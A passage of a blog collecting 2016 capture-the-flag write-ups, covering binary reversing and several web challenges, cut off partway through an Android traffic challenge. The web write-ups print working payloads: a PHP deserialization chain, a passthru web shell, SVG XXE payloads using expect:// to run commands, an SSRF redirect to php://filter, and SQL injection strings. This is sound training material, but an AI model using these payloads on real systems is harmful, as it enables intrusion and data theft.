Dump of assembler code for function _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya:
   0x0000000000451470 <+0>:     push   rbp
   0x0000000000451471 <+1>:     mov    rbp,rsp
   0x0000000000451474 <+4>:     sub    rsp,0xb0
   0x000000000045147b <+11>:    mov    QWORD PTR [rbp-0xa8],rbx
   0x0000000000451482 <+18>:    mov    QWORD PTR [rbp-0x10],rdi
   0x0000000000451486 <+22>:    mov    QWORD PTR [rbp-0x8],rsi
   [** Truncated **]
   0x00000000004514aa <+58>:    mov    edx,0x49fa5c
   [** Truncated **]
   0x000000000045150c <+156>:   xor    esi,DWORD PTR [rdx]
   0x000000000045150e <+158>:   movzx  ebx,BYTE PTR [rbp-0xa0]
   0x0000000000451515 <+165>:   xor    esi,ebx
   [** Truncated **]
   0x0000000000451543 <+211>:   leave
   0x0000000000451544 <+212>:   ret
End of assembler dump.

What I noticed is that the arguments provided is xor’ed with the string located at 0x49fa5c, which is 0x31. Remember the 0x313131 contained in the name of the function?

1
2
gdb-peda$ x/xw0x49fa5c
0x49fa5c <_TMP75>:      0x00313131

Now with these, I have some idea of how the encryption is done (probably a chain of xors with some constant byte values, 0x31 in this case). We can further verify this by doing dynamic analysis.

We first set a breakpoint at main, and run the binary in gdb. We then jump to 0x000000000044CDE0, which is the start of the encrypt function.

1
2
3
4
gdb-peda$ b _D9deedeedee7encryptFNaNfAyaZAya
Breakpoint 2 at 0x44cde4
gdb-peda$ j _D9deedeedee7encryptFNaNfAyaZAya
Continuing at 0x44cde4.

Remember that the chain of function takes in two argument from register $rsi and $rdi, I assume that one of this register contains a pointer to the string we are encoding and the other pointer containing the len of the string.

With that assumption, we set the register to the correct values. We can do so by running the following gdb calls. We also set a breakpoint at the first xor instruction, so that we can verify the xor values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gdb-peda$ p strcpy($rsi, "222")
gdb-peda$ set $rdi=3
gdb-peda$ b *0x000000000045150c
Breakpoint 3 at 0x45150c
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe390 --> 0x3200000031 ('1')
RBX: 0x7fffffffe368 --> 0x3
RCX: 0x7fffffffe390 --> 0x3200000031 ('1')
RDX: 0x7fffffffe394 --> 0x300000032
RSI: 0x31 ('1')
RDI: 0x7fffffffe2d0 --> 0x3200000031 ('1')
[** Truncated **]
=> 0x45150c <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya+156>:
    xor    esi,DWORD PTR [rdx]
   0x45150e <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya+158>:
    movzx  ebx,BYTE PTR [rbp-0xa0]
   0x451515 <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya+165>:  xor    esi,ebx
[** Truncated **]
gdb-peda$

We see that the $ebx contains 0x3 which is the length we set at register $rdi as well. Thus, in this function, every byte in the input string is xor’ed with 0x31 as well as the length of the input string.

In python, the particular function would look something like the following

1
2
3
4
5
6
def enc313131(inputStr):
   length = len(inputStr)
   result = ""
   for character in inputStr:
      result += chr(ord(character) ^ 0x31 ^ length)
   return result

Now that we have confirmed our assumptions, the flag can be easily decrypted by running the same function with the flag and the length as input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ b *0x000000000044E408
Breakpoint 1 at 0x44e408
gdb-peda$ r
[** truncated **]
=> 0x44e408 <_Dmain>:   push   rbp
[** truncated **]
gdb-peda$ p strcpy($rsi,"gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}")
[** truncated **]
gdb-peda$ b *0x000000000044cde0
Breakpoint 2 at 0x44cde0
gdb-peda$ j *0x000000000044cde0
Continuing at 0x44cde0.
[** truncated **]
=> 0x44cde0 <_D9deedeedee7encryptFNaNfAyaZAya>: push   rbp
[** truncated **]
gdb-peda$ set $rdi=48
gdb-peda$ b *0x000000000044e36a
Breakpoint 3 at 0x44e36a
gdb-peda$ c
Continuing.
[** truncated **]
RDX: 0x7ffff7ef1c80 ("flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}")
[** truncated **]

And we have our flag!

CSAW CTF Quals 2016 - deedeedee was originally published by Yeo Quan Yang at Quan Yang on September 19, 2016.

Tokyo Westerns CTF 2nd 2016 - Reverse Box

2016-09-06T03:29:51+00:00

Tokyo Westerns / MMA CTF 2nd 2016 - Reverse Box

Points: 50 Category: Reversing
Description
$ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
reverse_box.7z

This was a reversing warmup challenge for TWCTF 2016. I’ve read many write ups on this, but most of them did it differently from how I solved it, and many of their solutions seems to be more efficient than mine.

Given a 32-bit ELF binary and an output derived from the binary with the flag as input, the objective would be to determine the flag using the output values.

Solution

The main function does nothing much other than to call a function that generates the S-box for the cipher.

1
2
3
4
  generate_S_Box(&buffer);
  for ( i = 0; i < strlen(argv[1]); ++i )
    printf("%02x", *((_BYTE *)&buffer[argv[1][i]]));
  putchar(10);

The generate_S_Box function starts by picking a random integer in the range of 0-255, and the rest of the function executes based on this random value. It didn’t occur to me that I could simply generate all possible 256 values at this point using gdb/unicorn engine (like what other solutions are doing), so I reversed the entire function into Python.

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

all_s_boxes = {}
for randomValue in range(256):
  results = [0 for i in range(256)]
  position_index = 3;
  some_value = 1;
  while position_index != 1:
    # Used to generate some_value
    v1 = 2 * some_value ^ some_value & 0xff
    v2 = (v1 ^ v1 * 4) &0xff
    v3 = (v2 ^ v2 * 16) & 0xff
    if ( v3 < 128 ):
      v5 = 0;
    else: 
      v5 = 9;
    some_value = (v3 ^ v5) & 0xff;

    factor1 = some_value & 0xff
    factor2 = some_value ^ randomValue
    factor1_rotate_7bits = ror(factor1, 7,8)
    factor1_rotate_6bits = ror(factor1, 6,8)
    factor1_rotate_5bits = ror(factor1, 5,8)
    factor1_rotate_4bits = ror(factor1,4,8)
    result = factor2 ^ factor1_rotate_7bits ^ factor1_rotate_6bits ^ factor1_rotate_5bits ^ factor1_rotate_4bits

    results[position_index] = (result & 0xff)

    some_value = factor1
    v2 = (position_index ^ (2 * position_index));
    if position_index < 128:
      v3 = 0;
    else:
      v3 = 27;
    position_index = (v2 ^ v3) & 0xff
  all_s_boxes[randomValue] = results

startingFlag = "TWCTF"
startingTarget = "\x95\xee\xaf\x95\xef"
sbox_to_use = None

for key,sbox in all_s_boxes.items():
  for index,char in enumerate(startingFlag):
    if sbox[ord(char)] == ord(startingTarget[index]):
      sbox_to_use = sbox
      print "Found sbox at random value %d" % key
      break

target = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"
print ''.join([chr(sbox_to_use.index(ord(i))) for i in target.decode('hex')])

Since we knew that the flag starts with TWCTF, we could make use of this information to determine the correct s-box to use in order to obtain the rest of the flag.

Running this script gives us the flag:

1
2
3
→ python samples-1/test.py
Found sbox at random value 214
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}

Tokyo Westerns CTF 2nd 2016 - Reverse Box was originally published by Yeo Quan Yang at Quan Yang on September 06, 2016.

SECUINSIDE CTF Quals 2016 - Trendyweb

2016-07-10T19:46:07+00:00

SECUINSIDE CTF Quals 2016 - Trendyweb

Points: 100
Category: Web
Description
Trendy~! Web~
The flag reader is on /.
http://chal.cykor.kr:8082
http://52.78.11.234:8082
p.s. If the download doesn’t work, try this: https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859
and it requires data/ folder

We’re given the source code for the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!

$session_path = '';

    class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
    } }

    function onShutdown() {
        global $session_path;
        file_put_contents($session_path. '/pickle', serialize($_SESSION));
    }

    session_start();
    register_shutdown_function('onShutdown');

    function set_context($id) {
        global $_SESSION, $session_path;

        $session_path=getcwd() . '/data/'.$id;
        if(!is_dir($session_path)) mkdir($session_path);
        chdir($session_path);

        if(!is_file('pickle')) $_SESSION = array();
        else $_SESSION = unserialize(file_get_contents('pickle'));
    }

    function download_image($url) {
        $url = parse_url($origUrl=$url);
        if(isset($url['scheme']) && $url['scheme'] == 'http')
            if($url['path'] == '/avatar.png') {
                system('/usr/bin/wget '.escapeshellarg($origUrl));
            }
    }

    if(!isset($_SESSION['id'])) {
        $sessId = bin2hex(openssl_random_pseudo_bytes(10));
        $_SESSION['id'] = $sessId;
    } else {
        $sessId = $_SESSION['id'];
    }
    session_write_close();
    set_context($sessId);
    if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

This appears to be a very straightforward challenge. It’s a simple service, you’re given a session id and you can upload an image through a URL using $_POST['image'],which is stored in a directory named using the session id.

The first thing that caught my attention was the wget call. Just few days ago, a wget vulnerability was publicly disclosed, one that would allow arbitrary files to be downloaded.

Also, notice that there is an unserialize call at the start of the script using the contents from a file named pickle. It is important to also see that there is a small class called MyClass that would allow us to invoke arbitrary PHP commands through the $_GET['cmd'] parameter.

The attack sequence is now obvious:

Make a POST request to the service with a URL (path needs to be /avatar.png) as the value of $_POST['image'].
Redirect any requests made to the URL to a FTP URL with a file named pickle.
Invoke set_context that in turns unserializes the content in pickle and now we have arbitrary PHP code execution.

What is not obvious here is:

A shutdown function is registered, right before the end of the PHP script execution, the pickle file will be overwritten with the value from serialize($_SESSION).
set_context is called only at the start of the PHP script execution, that means we won’t be able to perform step #3 after step #1 of the attack sequence (assuming a single request).

What could be done instead is to cause a race-condition by doing two requests in parallel. First, make a POST request to the service in order to get arbitrary content in pickle. The payload for pickle is O:7:"MyClass":0:{}, which is the serialized form for MyClass. Second, when the file is saved onto the remote service and before it is overwritten by the shutdown function, make a second request that invokes set_context, which then runs the arbitrary PHP code specified through $_GET['cmd'].

It can be tricky to invoke the race-condition, and takes a few attempts. After some attempts, the flag can be obtained from running the binary at /flag_is_heeeeeeeereeeeeee.

Other ways

I personally believe the originally intended method by the challenge setter was the above with the race-condition. However, I also found that there are slightly easier ways to get the flag without having to invoke the race-condition.

Method #1

The folder that the pickle file is saved does not seem to have PHP disabled, so what could be done instead is to redirect the HTTP request to a FTP URL with a PHP script. The PHP script could be a simple <? passthru($_GET['cmd']) ?> that allows us to run arbitrary PHP commands.

This would be obviously way less tedious than the above-mentioned method.

Method #2

The check here if($url['path'] == '/avatar.png') doesn’t take into account for query parameters and so it is possible to specify a URL like avatar.png%3fcmd.php which is decoded to avatar.png?cmd.php, which is saved as a .php file and executes PHP instructions when browsed.
*** Only found out this method after viewing the write up by team p4 here.

SECUINSIDE CTF Quals 2016 - Trendyweb was originally published by Yeo Quan Yang at Quan Yang on July 10, 2016.

X-CTF Finals 2016 - John Slick (Web 25)

2016-06-22T20:32:53+00:00

X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The on-site finals took place on Saturday, 18 June 2016. This is another one of the web challenge I wrote for the finals.

JohnSlick

Points: 25
Category: Web
Description: Flag is on the server. Get a reverse shell :). Be nice, don’t break the server. http://bg3.spro.ink:8081

After registering and logging in to an account, there will be an upload feature that allows you to upload files to the server. However, there seems to be a check to ensure that only certain file types are allowed, namely, GIF, PNG, JPG and SVG.

If you tried uploading a GIF, PNG or JPG file, you’ll see that the image would be successfully uploaded and displayed.

However, if you tried some random SVG file like the following, you’ll get a different response instead. This is meant to be a hint to the participants.

If you upload an SVG file with the following contents:

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <rect x="0" y="150" height="10" width="300" style="fill: #000000"/>
</svg>

You should get a feedback saying: Secret mode activated:.

We can now be positively certain that the challenge has to do with a SVG file, the next step should then be pretty obvious. There are only a few common attacks that could be done with the use of a SVG file:

XSS due to the browser rendering the SVG file (<script>alert(1)</script> in an SVG element).
DOS attack due to a resource exhaustion similar to a billion laughs attack.
XXE attack due to the server parsing the SVG.

Attack #1 would be possible if the SVG file was reflected to the user or some sort of back-end which would be viewed by an admin. However, we did not mention anything about an admin viewing anything, so this attack could have been ruled out easily.

Attack #2 could be possible but would not allow for a reverse shell, which is our end goal.

Attack #3 seems the most probable in this case, maybe an XXE + SSRF exploit that could allow us to run arbitrary code on the server’s backend.

Looking up SVG XXE SSRF on Google shows a few attacks that have been done previously. In fact recently on hackerone.com there is a publicly disclosed bug that is similar.

Following this lead, we can try an SVG payload like the following:

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="http://nusgreyhats.org:800/"></image>
</svg>

We then open a netcat instance on the remote server to watch for any attempts to connect to it. Upon uploading the SVG file, we see that no connections were made to our netcat instance. However, if you solved the web20 challenge, similar to it, certain URI scheme has been disabled.

We could however, try out all the URI schemes to see if any of them are enabled.

The expect wrapper though not enabled by default, would allow us to easily obtain a reverse shell. Trying out a simple exploit like the following could easily verify that the expect scheme is enabled:

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

We see that our ls payload has successfully executed. We can now easily obtain a reverse shell, or to simply read the flag directly.

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls /"></image>
</svg>

And finally,

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://cat /flag_is_really_here.xxe"></image>
</svg>

And we have our flag: XCTF{XXE_IS_PR0BABLY_NOT_XTRA_XTRA_E@SY}!

This challenge might not be exactly realistic as it took me some hacking in order to get the SSRF vulnerability to work correctly. However, this challenge is meant to introduce the idea of XXE attacks to participants and that XXE + SSRF attack could possibly lead to RCE as seen in the recent imagemagick vulnerability.

X-CTF Finals 2016 - John Slick (Web 25) was originally published by Yeo Quan Yang at Quan Yang on June 22, 2016.

X-CTF Finals 2016 - John Sick (Web 20)

2016-06-21T19:51:55+00:00

JohnSick

Points: 20
Category: Web
Description: Flag is on the server. Get the source code of index.php to find the flag. http://bg3.spro.ink:8080

For this challenge, the truncation issue in the registration feature of web 15 has been fixed. So, the first step is to register and login as any user.

The description of the challenge tells you to obtain the source code of index.php, this also hints that there must be a way to obtain the source code.

After logging in, we see that there’s a feature for users to upload images. However, it says clearly that only jpg is allowed.

If you tried uploading using a URL of a valid JPG image, you’d see that the image would be successfully uploaded and displayed. However, if you tried any links that does not end with .jpg, you’d see that the upload would fail and no image would be shown. This was actually due to a filter on the URL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (!filter_var($url, FILTER_VALIDATE_URL) === false && preg_match("/^https?:\/\/.*\.jpg$/", $url)) {
    $url = getRedirectUrl($url);
    $contents = file_get_contents($url);
    $name = md5($_POST['username']);
    $url = "./hitimages/" . $name . "_" . $_POST['username'] . ".jpg";
    $imageFile = fopen($url,"wb");
    if ($imageFile) {
        fwrite($imageFile, $contents);
        $file = $url;
        fclose($imageFile);
    }
}
?>

So, the trick here is to make use of a 301 redirect in order to redirect the request to a URL that does not start with http(s) and ends with .jpg. We can use a simple PHP server and modify the configuration for it to execute .jpg files as PHP and with a short PHP script, perform the redirect.

1
2
3
4
<?php
header('HTTP/1.1 301 Redirect');
header('Location: php://filter/string.toupper/resource=index.php');
?>

This way, it’d allow us to obtain the source code of index.php. If you tried this, you’d see that the image would not be rendered as the image is corrupted and if you view the source of the image, you’d get the source code of index.php

And with that, you can easily read the flag from the flag_is_here.lol file. This is an example of a server-side request forgery (SSRF) vulnerability, SSRF is recently becoming more common (imagemagick is on fire vulnerability).

Another interesting fact is, if you tried all the different schemes that PHP supports, you’d see that only PHP, HTTP and HTTPS is supported and this is because all the other schemes has been disabled. You might not already know this, but many of these URI schemes are actually enabled by default.

1
2
3
4
5
6
<?php
$scheme = ["ftp", "zlib", "data", "glob", "phar", "ssh2", "rar", "ogg","ftps","compress.zlib","compress.bzip2","zip"];
foreach ($scheme as $i) {
  stream_wrapper_unregister($i);
}
?>

And so, with this we got our flag: XCTF{J0HN_G0T_R3D1R3CT3D}.

X-CTF Finals 2016 - John Sick (Web 20) was originally published by Yeo Quan Yang at Quan Yang on June 21, 2016.

X-CTF Finals 2016 - John Wick (Web 15)

2016-06-20T20:48:40+00:00

X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The on-site finals took place on Saturday, 18 June 2016. This is one of the web challenge I wrote for the finals.

JohnWick

Points: 20
Category: Web
Description: Login as ‘johnwick’ and find the flag. http://bg2.spro.ink:8080

This challenge was meant to be easy and as a warm up for the participants.

In the description it is given that we’re suppose to login as the user ‘johnwick’, this is actually the first part of the challenge.

As you can see, there seems to be a character limit of 30 characters for the username. However, if you tried to enter more than 30 characters, you’d see that the registration still succeeds and if you tried logging in with the truncated username to 30 characters, you’ll see that you are able to login successfully.

The truncation is actually caused by the database during insertion. As the username field has a varchar length of 30 characters, during insertion any value would automatically be truncated to 30 characters.

1
2
3
4
5
6
7
8
CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    username varchar(30) NOT NULL,
    password varchar(64) NOT NULL,
    address varchar(256),
    isAdmin INT DEFAULT 0,
    PRIMARY KEY (id)
);

This bug is actually due to few issues:

There’s no user input validation that ensures user input to be 30 characters or less.
The ‘username’ column should have been unique or a primary key.

Exploiting this vulnerability, we can now create another ‘johnwick’ user with our chosen password.

After logging in, you will be able to access the search feature, which is the second part of this challenge.

The second part of the challenge is meant to be an SQL injection vulnerability. If you tried ' or '1'='1 and ' and '1'='2 you can immediately tell that there’s an injection vulnerability. Initially there was a space filter in place to make the challenge harder, but after some time and no solves, the filter was removed.

1
$sql = "SELECT username FROM users WHERE username like '%".str_replace(" ", "", $username)."%';";

One way to tell that it was a space filter was to try something like this: 'and(username='johnwick'); versus ' and username='johnwick';, should there be a space filter, the second query should not work.

To bypass the space filter, you could simply use tabs (%09) or newlines (%0a) instead of spaces. Another way is to use parenthesis, like the following payload: 'union(select(address)from(users));

Doing so will get you the flag: XCTF{S0_W!CK3D_TRUNC@T3D}. I thought that this would have been an easy challenge, but most of the participants did not manage to get pass the space filter.

X-CTF Finals 2016 - John Wick (Web 15) was originally published by Yeo Quan Yang at Quan Yang on June 20, 2016.

ALICTF 2016 - ColorOverflow (Reversing 100)

2016-06-11T19:24:20+00:00

ALICTF 2016 - ColorOverflow

Points: 100
Category: Reversing
Description
ctf=Capture The traFfic? (attachment)
HINT: port 5555

I only looked at this challenge after some time and by the time I started looking at it, quite a few teams have solved it already and the organizers has given out additional hint to look at port 5555.

The packet capture provided has quite a bit of HTTP traffic as well as traffic on port 5555. If you are familiar with Android debugging, port 5555 is often use for adb traffic. Looking at the conversation it is obvious that an apk is uploaded and installed onto the device.

Using a python script with scapy, we can easily obtain the apk from the packet capture.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import * 
packets=rdpcap("a.pcap")
fp = file("ColorOverflow.apk","wb")
ranges = [(610,637),(641,908),(912,1178),(1183,1274)]
for start,end in ranges:
    for i in range(start,end+1):
        packet = packets[i]
        if TCP in packet and packet.sport == 33946:
            if packet[IP].dst == "10.0.2.15" and Raw in packet[TCP]:
                if i == 610:
                    fp.write(packet[TCP][Raw].load[32:])
                elif i == start:
                    fp.write(packet[TCP][Raw].load[24:])
                else:
                    out = packet[TCP][Raw].load
                    if "DATA" in out:
                        offset = out.find("DATA")
                        out = out[:offset] + out[offset+8:]
                    fp.write(out)
fp.close()

The APK file can be obtain here if you’re interested to take a look.

The APK application appears to be a real game available on the playstore. After decompiling the APK with apktool, we see that within the assets folder, there is a HTML file with a GitHub link to the original game.

Comparing the original application with this, we see that most of the application is similar. Going back to the pcap file, we see that some HTTP requests are made to this URL:

http://www.bing.com/search?q=alictf%7BFlagIsHere%7D&go=Submit&qs=n&form=QBRE&
pq=alictf%7Bflagishere%7D&sc=8-7&sp=-1&sk=&setmkt=zh-CN

Looking further, none of the requests seems to be suspicious, except one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Frame 1365: 431 bytes on wire (3448 bits), 431 bytes captured (3448 bits)
Ethernet II, Src: RealtekU_12:34:56 (52:54:00:12:34:56), Dst: RealtekU_12:35:02 (52:54:00:12:35:02)
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 202.112.51.218
Transmission Control Protocol, Src Port: 44797 (44797), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 377
Hypertext Transfer Protocol
    POST /log HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /log HTTP/1.1\r\n]
        Request Method: POST
        Request URI: /log
        Request Version: HTTP/1.1
    User-Agent: Dalvik/1.6.0 (Linux; U; Android 6.0; Android SDK built for x86_64 Build/MASTER)\r\n
    Content-Encoding: gzip\r\n
    Content-Length: 100\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Host: log.godric.me\r\n
    Connection: Keep-Alive\r\n
    Accept-Encoding: gzip\r\n
    \r\n
    [Full request URI: http://log.godric.me/log]
    [HTTP request 1/1]
    [Response in frame: 1367]
    Content-encoded entity body (gzip): 100 bytes -> 77 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    12106262333962303730363064656162643515b9e8f3d3ca2a181046514bf9f2b3cd3bf580b7cd9bae45141820da2990bf15b7fd98a4e73ef766cd714f6f63b2e7f270c55f0caf7e704ca7702f

Following this lead, I used a proxy to look for traffic from the APK and indeed, everytime we win the game and enter a highscore, a POST request would be made that is similar to the one above. However, the message seems be to encrypted in a certain way by the APK.

With this, now it’s clear that what we have to do is to reverse the logic that is responsible for the encryption and to decrypt the data to get our flag. We first search for the URL in the request and trace the code. It starts here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package eu.veldsoft.colors.overflow;
**Truncated**
public class o extends AsyncTask {
  private static byte[] a(byte[] paramArrayOfByte)
  {
    ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
    GZIPOutputStream localGZIPOutputStream = new GZIPOutputStream(localByteArrayOutputStream);
    localGZIPOutputStream.write(paramArrayOfByte);
    localGZIPOutputStream.close();
    localByteArrayOutputStream.close();
    return localByteArrayOutputStream.toByteArray();
  }
  **Truncated**
  protected String a(ByteArrayOutputStream[] paramArrayOfByteArrayOutputStream) {
    return a(b("http://log.godric.me/log"), paramArrayOfByteArrayOutputStream[0].toByteArray());
  }
}

We traced the code to this particular function that seems to be invoking the encryption:

1
2
3
4
5
6
7
8
  public void a(String paramString)
  {
    byte[] arrayOfByte1 = x.a(d());
    e();
    g();
    byte[] arrayOfByte2 = x.a(f(), h());
    this.d = AES.Encrypt(paramString.getBytes(), arrayOfByte1, arrayOfByte2);
  }

We found that the encryption performed is AES in CBC mode. You can easily tell from the constants, and can verify by checking the values.

1
2
3
4
5
6
7
8
9
package eu.veldsoft.colors.overflow;
**Truncated**
public class AES {
  **Truncated**
  private static int[] e = { 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22 };
  private static int[] f = { 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125 };
  private static int[] g = { 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203, 141, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, 203 };
  **Truncated**
}

Following that further, we found a class that describes the final representation of the data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package eu.veldsoft.colors.overflow;
**Truncated**
public class customDataStructure {
  public static void timeOfEncryption(OutputStream paramOutputStream, long paramLong) {
    try {
      paramOutputStream.write(21);
      while ((0xFFFFFFFFFFFFFF80 & paramLong) != 0 L) {
        paramOutputStream.write((byte)(int)(0x7F & paramLong | 0x80));
        paramLong >>= 7;
      }
      paramOutputStream.write((byte)(int) paramLong);
      return;
    } catch (Exception paramOutputStream) {
      paramOutputStream.printStackTrace();
    }
  }

  public static void android_id(OutputStream paramOutputStream, String paramString) {
    try {
      paramOutputStream.write(18);
      paramOutputStream.write((byte) paramString.length());
      paramOutputStream.write(paramString.getBytes());
      return;
    } catch (Exception paramOutputStream) {
      paramOutputStream.printStackTrace();
    }
  }

  public static void data(OutputStream paramOutputStream, byte[] paramArrayOfByte) {
    try {
      paramOutputStream.write(24);
      paramOutputStream.write((byte) paramArrayOfByte.length);
      paramOutputStream.write(paramArrayOfByte);
      return;
    } catch (Exception paramOutputStream) {
      paramOutputStream.printStackTrace();
    }
  }
}

And that class was used here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
